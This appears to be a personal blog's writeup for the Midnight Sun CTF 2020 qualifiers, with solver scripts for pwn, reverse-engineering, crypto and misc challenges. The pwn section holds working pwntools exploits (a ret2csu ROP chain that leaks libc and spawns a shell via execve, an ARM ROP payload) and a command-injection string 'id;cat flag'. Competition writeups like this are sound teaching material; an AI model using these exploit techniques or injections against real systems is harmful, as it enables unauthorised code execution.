mcfx's blog

题解、Writeup、游记和碎碎念

Midnight Sun CTF 2020 Quals Writeup

Contents

pwn

admpanel

Run id;cat flag.

Pwny racing - pwn1

ret2csu. See https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/ (English: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop/ ) for more information.

from pwn import *
from time import sleep

p=ELF('./pwn1')
main_addr=0x400698
main_end_addr=0x40070b
csu_end_addr=0x40077a
csu_front_addr=0x400760
fakeebp = b'b' * 8
bss_base = 0x602040 # not real bss_base, since stdin and stdout are at the real one

libc=ELF('./libc.so')

r=remote('pwn1-01.play.midnightsunctf.se',10001)

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0
    # rbp should be 1, disable jump
    # r12 should be the function we want to call
    # rdi=edi=r13 <- different from ctf-wiki
    # rsi=r14
    # rdx=r15
    payload = b'a' * 0x40 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    payload += p64(last)
    r.send(payload+b'\n')
    sleep(1)

r.recvuntil('buffer: ')
csu(0, 1, p.got['puts'], p.got['puts'], 0, 0, main_addr) # leak puts addr
puts_addr=int.from_bytes(r.recv(6),'little')
libc_addr=puts_addr-libc.symbols['puts']

r.recvuntil('buffer: ')
csu(0, 1, p.got['gets'], bss_base, 0, 0, main_addr)
r.send(b'/bin/sh\0\n')

r.recvuntil('buffer: ')
csu(0, 1, p.got['gets'], bss_base + 8, 0, 0, main_addr)
r.send(p64(libc_addr+libc.symbols['execve'])[:7]+b'\n') # gets will fill the last \0

r.recvuntil('buffer: ')
csu(0, 1, bss_base + 8, bss_base, 0, 0, main_addr)

r.interactive()

Pwny racing - pwn3

ARM rop. I used ROPgadget to find gadgets. Note that libc is in thumb mode, so we need to add 1 to its address to switch to thumb mode.

from pwn import *

r=remote('pwn3-01.play.midnightsunctf.se',10003)

exp=b'0'*4*35
exp+=p32(0x1fb5c)
exp+=p32(0x49018)
exp+=p32(0)
exp+=p32(0x14b5c+1) # switch to thumb

r.send(exp+b'\n')

r.interactive()

forensics

masterpiece

Get snes9x, find Mario Paint (Japan, USA).sfc from some websites.

I expected it to run, however, it stuck. I took a normal snapshot, and replace the header of given file. Then it successfully ran, and flag was shown.

rev

avr-rev

Main function is at sub_319. It reads a string, and decode it as some JSON-like data. Decode function is at sub_137. Then the decoded data is printed, along with a mystery number. This number seems calculated in sub_2D5.

For most objects, the number is 0. For {xx:xx}, the number is 1. For {number:xx}, the number is 2. For {1337:string}, the number is various.

In this case, the string is compared with flag, where flag is given in sub_884, in some strange way. When a character is different from flag, the result will be (string[i]-flag[i])%256. Thus we can find the flag byte by byte.

However, the string is at most 32 bytes, thus it only contains the first flag (for avr-rev).

Bonus

After the CTF, we find the solution to avr-pwn. Send the following two strings, and they are connected into a big string. (0123456789 is just a various padding)

{1:1,1337:"0123456789..."}
{1337:"...(32 bytes)"}

This is because the program malloc some new memory each time, and they are adjacent. Here's the script to find guess each byte.

from pwn import *

r=remote('avr-01.play.midnightsunctf.se',1337)

def getnxt(s):
    t=s[:32]
    s=s[32:]
    v=[]
    while len(s):
        v.append(s[:22])
        s=s[22:]
    CHR='*'
    if len(v[-1])==22:
        v.append(CHR)
    else:
        v[-1]+=CHR
    for i in range(len(v)-1,-1,-1):
        r.recvuntil('\n')
        r.send('{'+'1:1,'*(i+1)+'1:"'+' '*10+v[i]+'"}\n')
        r.recvuntil('"}')
        r.recvuntil('\n')
    r.recvuntil('\n')
    r.send('{1337:"'+t+'"}\n')
    r.recvuntil('"}')
    r.recvuntil('\n')
    res=r.recvuntil('\n')
    return chr((ord(CHR)-int(res))%256)

cur='''First: midnight{only31?} But to get the second flag y'''
print(len(cur))
while True:
    cur+=getnxt(cur)
    print(cur)

crypto

pyBonHash

First use uncompyle6 to decompile the file.

Since each bytes([data1, data2]) and bytes([key1, key2]) only have 65536 options, we can enumerate all of them, and match with each other.

import binascii,hashlib
from Crypto.Cipher import AES

s=open('hash.txt').read().strip()
s=binascii.unhexlify(s.encode())
n=len(s)//32
kl=42
key=[-1]*kl

fr={}

for i in range(256):
    for j in range(256):
        tohash = bytes([i,j])
        fr[hashlib.md5(tohash).hexdigest().encode()]=(i,j)

FIBOFFSET = 4919
MAXFIBSIZE = 500 + FIBOFFSET

def fibseq(n):
    out = [0, 1]
    for i in range(2, n):
        out += [out[(i - 1)] + out[(i - 2)]]
    return out
FIB = fibseq(MAXFIBSIZE)

def setkey(x,y):
    if key[x]==-1:
        key[x]=y
    assert key[x]==y

for i in range(n):
    t=s[i*32:i*32+32]
    for k1 in range(256):
        for k2 in range(256):
            thiskey = bytes([k1, k2]) * 16
            cipher = AES.new(thiskey, AES.MODE_ECB)
            v = cipher.decrypt(t)
            if v in fr:
                x,y=fr[v]
                setkey(((i*2 + FIB[(FIBOFFSET + i*2)]) % kl),k1)
                setkey(((i*2+1 + FIB[(FIBOFFSET + i*2+1)]) % kl),k2)
print(bytes(key))

Verifier

Just use option 1 to sign please_give_me_the_flag.

rsa_yay

In this task, we need to factorize n, while hex(p)=hex(q)[::-1].

Suppose we know lowest k bits of p, we can find lowest k bits of q. Here we can also find highest k bits of p and q. Let them be phph and qhqh. We know that phqh210242kn<(ph+1)(qh+1)210242kph\cdot qh\cdot 2^{1024-2k}\le n<(ph+1)\cdot(qh+1)\cdot 2^{1024-2k}, thus we may check whether phph and qhqh are (possibly) correct.

from gmpy2 import *
import binascii

n=0x7ef80c5df74e6fecf7031e1f00fbbb74c16dfebe9f6ecd29091d51cac41e30465777f5e3f1f291ea82256a72276db682b539e463a6d9111cf6e2f61e50a9280ca506a0803d2a911914a385ac6079b7c6ec58d6c19248c894e67faddf96a8b88b365f16e7cc4bc6e2b4389fa7555706ab4119199ec20e9928f75393c5dc386c65
cipher=0x3ea5b2827eaabaec8e6e1d62c6bb3338f537e36d5fd94e5258577e3a729e071aa745195c9c3e88cb8b46d29614cb83414ac7bf59574e55c280276ba1645fdcabb7839cdac4d352c5d2637d3a46b5ee3c0dec7d0402404aa13525719292f65a451452328ccbd8a0b3412ab738191c1f3118206b36692b980abe092486edc38488

def reverse_hex(x,n):
    y=0
    for i in range(n):
        y=y*16+x%16
        x//=16
    return y

cur=[]

# Find all cases for lowest 12 bits
for i in range(1,4096,2): # i is lowest 12 bits of p
    t=invert(i,4096)*(n%4096)%4096 # t is lowest 12 bits of q
    assert t*i%4096==n%4096
    t2=reverse_hex(t,3) # t2 is highest 12 bits of q
    i2=reverse_hex(i,3) # i2 is highest 12 bits of p
    l=i2*t2<<(4*125*2)
    r=(i2+1)*(t2+1)<<(4*125*2)
    if l<=n<=r: # check where n is in the range
        cur.append(i)

# Current digit (in hex)
for c in range(4,65):
    nc=[]
    mod=16**c
    for x in cur:
        for y in range(16):
            i=x+y*16**(c-1) # i is lowest 4c bits of p
            t=invert(i,mod)*(n%mod)%mod # t is lowest 4c bits of q
            assert t*i%mod==n%mod
            t2=reverse_hex(t,c) # t2 is highest 4c bits of q
            i2=reverse_hex(i,c) # i2 is highest 4c bits of p
            l=i2*t2<<(4*(128-c)*2)
            r=(i2+1)*(t2+1)<<(4*(128-c)*2)
            if l<=n<=r: # check where n is in the range
                nc.append(i)
    cur=nc

# Find real solution
c=64
mod=16**c
for i in cur:
    t=invert(i,mod)*(n%mod)%mod
    assert t*i%mod==n%mod
    t2=reverse_hex(t,c)
    i2=reverse_hex(i,c)
    p=t2<<256|i
    q=i2<<256|t
    if p*q==n:
        break

e=65537
d=invert(e,(p-1)*(q-1))
o=pow(cipher,d,p*q)
print(binascii.unhexlify(hex(o)[2:]))

guessing

indian guess

The server guesses my number by binary search. Input nan and then it fails.

misc

sanity

Just enter irc.

Snake++

Consider the following strategy:

v<<<<<
v>v>v^
v^v^v^
v^v^v^
>^>^>^

Walk on the circle, and shoot if B exists. To check if B exists, we may just enumerate all locations, and check if B is there.

The follwing python code generates required snake++ code.

def getsol(x1,y1,x2,y2,a,b):
    return ' '

r=''

r+='red:=100;\n'
for x in range(1,29):
    for y in range(1,19):
        r+='banana ~<8=== %d %d;\nif banana=="B" then\n\tred:=%d;\n\tgreen:=%d;\nfi;\n'%(x,y,x,y)

def addroute(x,y,v):
    global r
    x+=1;y+=1
    r+='if blue==%d then\n\tif yellow==%d then\n\t\treturn "%s";\n\tfi;\nfi;\n'%(x,y,v)

addroute(1,0,'L')
addroute(27,1,'L')
for i in range(0,28,2):
    addroute(i,16,'L')
    addroute(i,17,'L')
for i in range(1,27,2):
    addroute(i,1,'R')
    addroute(i,2,'R')

r+='''
if red<100 then
    return " ";
fi;
'''

r+='return "";\n'
r+='.\n'
open('test.txt','w').write(r)

The following one interacts with the server.

from pwn import *
from base64 import b64decode

context.log_level = 'debug'

r=remote('snakeplusplus-01.play.midnightsunctf.se',55555)

r.recvuntil('Your choice: ')
r.send('2\n')
r.recvuntil('--- Press enter to continue ---')
r.send('\n')
r.recvuntil('--- Press enter to continue ---')
r.send('\n')
r.recvuntil('Enter your program code, and end with a . on a line by itself')

r.send(open('test.txt').read().strip()+'\n')

r.recvuntil('--- Press enter to start ---')
r.send('\n')
r.recvuntil('Result: ')
open('t.zip','wb').write(b64decode(r.recvuntil('\n').strip()))

日期: 2020-04-05

标签: CTF Writeup

这是一篇旧文,原始文章及评论可在 https://oldblog.mcfx.us/archives/281/ 查看。